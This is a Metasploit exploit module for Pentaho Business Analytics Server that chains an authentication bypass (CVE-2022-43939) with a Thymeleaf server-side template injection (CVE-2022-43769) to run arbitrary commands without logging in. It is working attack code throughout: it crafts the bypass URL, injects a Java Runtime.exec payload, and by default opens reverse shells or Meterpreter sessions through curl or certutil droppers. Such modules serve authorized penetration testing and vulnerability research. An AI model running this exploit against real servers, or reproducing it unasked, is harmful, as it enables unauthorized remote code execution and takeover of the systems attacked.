##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pentaho Business Server Auth Bypass and Server Side Template Injection RCE',
        'Description' => %q{
          Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is
          vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability
          (CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user
          running the Pentaho Business Analytics Server.

          The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any
          URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string
          "js" followed optionally by "?" and then any characters of the attacker's choice.

          The second (CVE-2022-43769) is a server side
          template injection. This vulnerability allows RCE by making a GET request to /api/ldap/config/ldapTreeNodeChildren and
          setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within
          Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server.
        },
        'Author' => [
          'Harry Withington', # Discovery
          'dwbzn', # PoC
          'jheysel-r7' # Module
        ],
        'References' => [
          ['URL', 'https://github.com/dwbzn/pentaho-exploits/blob/main/cve-2022-43769.py'], # POC
          ['URL', 'https://research.aurainfosec.io/pentest/pentah0wnage/'], # Original writeup
          ['URL', 'https://support.pentaho.com/hc/en-us/articles/14455561548301'], # Advisory
          ['CVE', '2022-43769'], # RCE
          ['CVE', '2022-43939']  # Auth Bypass
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => :curl,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-04-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Base path', '/pentaho'])
      ]
    )
  end

  def check
    # This check method abuses the authentication bypass vulnerability CVE-2022-43939 to check exploitability. Due to a
    # bad regex in applicationContext-spring-security.xml endpoints that should not be accessible without authentication
    # are made accessible if the URL ends in "/", followed by "require", optionally "-js" or "-cfg", any character,
    # and then the string "js" followed optionally by "?" and then any characters of the attacker's choice.

    post_require_mixup = ['-cfg', '-js', ''].sample
    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js")
    )

    return Exploit::CheckCode::Unknown('Could not authenticate to the target') unless res

    if res.code == 200 && res.body == '{}'
      Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def win_target?
    target.platform.names.include?('Windows')
  end

  def execute_command(cmd, _opts = {})
    java_payload = <<~JAVA.gsub(/^\s+/, '').tr("\n", '')
      {T(java.lang.Runtime).getRuntime().exec(
        new String[]{ #{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}'#{cmd.gsub("'", "''")}'}
        )
      }
    JAVA

    post_require_mixup = ['-cfg', '-js', ''].sample
    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js"),
      'vars_get' => {
        'url' => "##{java_payload}",
        'mgrDn' => Rex::Text.rand_text_alphanumeric(1..24),
        'pwd' => Rex::Text.rand_text_alphanumeric(1..24)
      },
      'uri_encode_mode' => 'hex-all' # Needed to encode \ as %5C so we don't run into bad character issues that cause failure on server.
    )

    unless res
      fail_with(Failure::UnexpectedReply, 'No response from the server when attempting to exploit')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected response code:#{res.code}, when attempting to exploit")
    end

    unless res.body == 'false'
      fail_with(Failure::UnexpectedReply, "The response body from the exploit attempt indicates the attempt was
                                          unsuccessful. The response body should only contain 'false'. The response body
                                          returned was: '#{res.body}'")
    end
  end

  def exploit
    print_status('Attempting to exploit...')
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    end
  end
end
